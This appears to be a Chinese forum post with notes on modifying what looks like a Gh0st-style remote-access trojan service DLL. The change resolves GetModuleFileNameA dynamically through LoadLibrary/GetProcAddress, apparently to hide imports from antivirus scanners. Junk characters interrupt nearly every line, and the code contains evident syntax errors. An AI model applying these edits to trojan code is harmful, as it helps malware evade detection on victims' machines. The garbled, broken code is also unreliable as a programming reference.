返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
  n( I4 L" c  G/ {0 e2 ksvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' q; M) d6 `7 E$ Z  G
----------------------------------------
) G4 d3 h# N  M; CDTDY.h:
2 B: Y& S: N/ @9 c6 D+ R8 `$ a# s" O. f- X. l7 g7 W
#if _MSC_VER>10001 u) d" T7 @7 D. H( N* }
#pragma once* _" z4 W$ x8 w3 t7 T
#endif //_MSC_VER>1000
; o4 k' E' u. g9 Z! v& s1 i$ r#include<windows.h>
$ y6 F4 X4 \3 }% Q: g) v! s
6 e# Y% K+ F3 N3 x8 L- |typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
* d  C4 B% z  ?* M9 [' }5 M7 mclass DTDY
% C! h9 L3 t8 \( _{5 g. o' N; ?+ P% `! U" s
public:* p& m- o& _1 F9 l# k, G! o1 W5 p! R
DTDY();% ]6 s! j# ?* z8 g% F! q
virtual ~DTDY();" a. E& Y* R8 r! P5 f" N) v
public:
6 q6 {+ G1 A% P( i4 H* `static pGetModuleFileNameA MyGetModuleFileName;
$ W  w+ N, g/ G0 b1 E% Vstatic BOOL FunInitiallization();
* P2 }, w0 p  I4 m};+ p. n  _2 G/ z0 R0 K- K
#endif# c, V* J8 V& ]' M2 x% G
----------------------------------------! Z1 ?, p) d; A. m4 Z

( N9 ^& _6 p# p$ x$ }+ o' {DTDY.cpp:6 i2 r& K; r9 T

0 u! Z1 H' Z4 G: r#include "DTDY.h"& E2 d9 Z1 o, a% l" u) I: T
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;. |; ?0 f5 Q1 G: v" b
DTDY:TDY()- g- Y  R: V. S, T1 Y' T8 N
{, S" V6 B5 D5 \, J
}
' c, H; F( c: ~& @2 t$ ~DTDY::~DTDY()
$ H; D7 `# n! C8 Y( ]6 S{
1 h4 W) ]3 L1 Z$ K}
9 n4 T; ], |% m  J+ n+ JBOOL DTDY::FunInitiallization()) V4 \/ o5 h3 K% `
{8 B) l/ D! E  H" Z
HMODULE hModule=LoadLibrary("kernel32.dll");; l: }+ g. i  z
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");8 h, R2 a. ]; E% g. L7 s
if(!MyGetModuleFileName=) return FALSE;! ?0 b; g7 r' b+ h, `) H
6 C# J  a2 A8 V+ O
return TRUE;, b( W9 p3 t* T  x0 |
}
4 b* w. y& F& E; B" v----------------------------------------
+ D- X. |1 ]+ d) s! |7 Ssvchost.cpp:
1 {0 d+ z, K* @7 b7 T- s3 T& c
1 R0 Y$ L$ m4 [  J# `9 O#include "DTDY.h"
) S# I8 |# P, H! k' {5 ^5 }4 g$ b& D  R5 I' L; C2 C2 s' F
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)  s# o  ?4 A  ?- ]* @$ C3 e$ J2 c
{$ }$ E" B6 Y/ ?1 w
switch(ul_reason_for_call)1 @- P# H2 H6 o& t1 A' n" [
{; ?' Y1 I$ }( U8 D
case DLL_PROCESS_ATTACH:( V! T2 L6 s- j) y2 q
if(!DTDY::FunInitiallization()) return FALSE;1 [7 j: i9 V+ n# `& ~

- A* _7 I6 q* S1 Ubreak;* _4 s  x  t9 a4 c" r1 @' x
}
+ m6 h' B( y! @* v! t8 q6 t}
! _: |  D% y$ Q/ a, W1 Q# Y) Z' _  ~5 {: ~/ r

7 H1 B6 z0 g% c3 l0 FGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 G' q$ S; H6 A6 p" E( n0 }改写为
# w' a9 w  T! V6 RDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));4 k: K( p3 V& C0 t* H
----------------------------------------
# Q* H2 g# |# z# T- HKernelManager.cpp:
; h! q: u! q( N6 R8 c! W( @1 P. K- {3 e" c6 o+ w
#include "../DTDY.h"
; W$ j8 c  z9 O% c+ b# u5 fGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. m+ L" [/ u$ j
改写为* I' f5 ]0 ~( a% }: y0 A8 m
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
5 U6 e4 D  v, I, w$ W----------------------------------------

返回列表